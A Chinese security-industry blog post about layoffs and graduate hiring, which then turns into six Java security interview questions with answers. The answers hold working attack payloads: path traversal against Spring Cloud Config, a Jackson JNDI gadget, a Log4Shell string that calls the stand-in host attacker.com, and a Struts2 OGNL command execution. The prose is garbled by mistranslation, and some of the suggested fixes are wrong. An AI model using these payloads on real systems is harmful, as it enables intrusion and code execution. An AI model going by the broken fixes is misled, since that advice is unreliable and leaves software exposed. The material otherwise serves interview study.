今年春招边裁边招啊
目录
今年春招边裁边招啊
[《网安面试指南》
“《网安面试指南》”)
[5000篇网安资料库
“5000篇网安资料库”)
中午摸鱼刷群聊,看到圈里都在传网安公司现在玩「边裁边招」的套路——老员工咔咔砍,应届生呼呼招。这咱也不知道真假,赶紧翻出脉脉看看。
还确实,似乎特别是今年互联网甲方大规模招收新人,似乎让互联人普遍被称为30+的危机,似乎也给了刚毕业的年轻人新的机会,同时公司还能降低了。
传统网安厂商也不例外,据说最近网安公司产品线受到大模型的冲击,大量的评判,同时又在高新挖掘算法、大模型阵地,看看脉脉里是这样的,不知道你呆的公司现在是什么情况,来吧评论区聊聊。
不管怎么样,今年的届生来说,应该是比较难的。
也正如我前几天发的
对于应届生来说也很不错的机会,特别是哪些学年还不错的小伙伴。珍惜大厂降本增效的机会,紧抓刷面试题抓,紧找个机会进大厂一波。
为了方便大家沟通交流25年校招的信息、面试经验,我专门在星球中拉了个校招群,进星球后扫描进就可以了(会不定期发放内推码)—去后方领劵再进哈。
1. Spring Cloud Config路径遍历
配置项 :
spring:
cloud:
config:
server:
git:
uri: https://github.com/config-repo
问题 :如何通过恶意应用名构造路径寻找敏感文件?
答案 :
- 攻击方式:请求
http://config-server/{application}/{profile}
,设置application=..%252F..%252Fetc
(双重URL编码) - 修复方案:配置
spring.cloud.config.server.git.force-pull=true
并限制仓库路径
2. Jackson多态类型处理
代码片段 :
@JsonTypeInfo(use = Id.NAME, include = As.PROPERTY, property = "type")
public abstract class Payload {}
问题 :如何利用该注解实现反序列化?攻击给出修复方案
答案 :
- 攻击方式:构建包含
"type":"com.sun.rowset.JdbcRowSetImpl"
的JSON数据触发JNDI注入 - 修复方案:
- 藝術
@JsonTypeInfo(visible = false)
- 配置
mapper.activateDefaultTyping()
时使用LaissezFaireSubTypeValidator
- 藝術
3. Log4j2 JNDI 注入
日志代码 :
logger.error("Error processing request: {}", userInput);
问题 :在Log4j 2.14.1环境下如何构造RCE?给出修复方案
答案 :
- 攻击Payload:输入
${jndi:ldap://attacker.com/Exploit}
- 修复方案:
- 升级到2.17.0+并设置
log4j2.formatMsgNoLookups=true
- 禁用JNDI功能:
-Dlog4j2.enableJndi=false
- 升级到2.17.0+并设置
4. Struts2 OGNL注入
代码片段 :
<result type="freemarker">
<param name="location">/templates/${templateName}.ftl</param>
</result>
问题 :如何通过templateName参数执行系统命令?
答案 :
- 攻击Payload:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc'))}
- 修复方案:将Struts升级到最新版本并取消动态方法调用
5. JVM字节码控制漏洞
代码片段 :
public class UnsafeClassLoader extends ClassLoader {
public Class defineClass(byte[] code) {
return super.defineClass(code, 0, code.length);
}
}
问题 :分析该代码的安全风险及防御方法
答案 :
- 风险点:允许动态加载未验证的字节码,可能导致代码执行
- 策略:
- 对货运类别进行包名白名单审核
- 启用SecurityManager并配置
RuntimePermission("defineClass")
6.并发比赛条件
代码片段 :
public void transfer(Account from, Account to, BigDecimal amount) {
if (from.getBalance().compareTo(amount) >= 0) {
from.debit(amount); //步骤1
to.credit(amount); //步骤2
}
}
问题 :如何利用竞争条件实现税收税收?给出修复方案
答案 :
- 攻击方式:在步骤1和步骤2之间发起发起请求透支余额
- 修复方案:
- 使用数据库旅游锁
SELECT FOR UPDATE
- 增值
@Transactional
服务保证 - 在应用层使用可重入锁
- 使用数据库旅游锁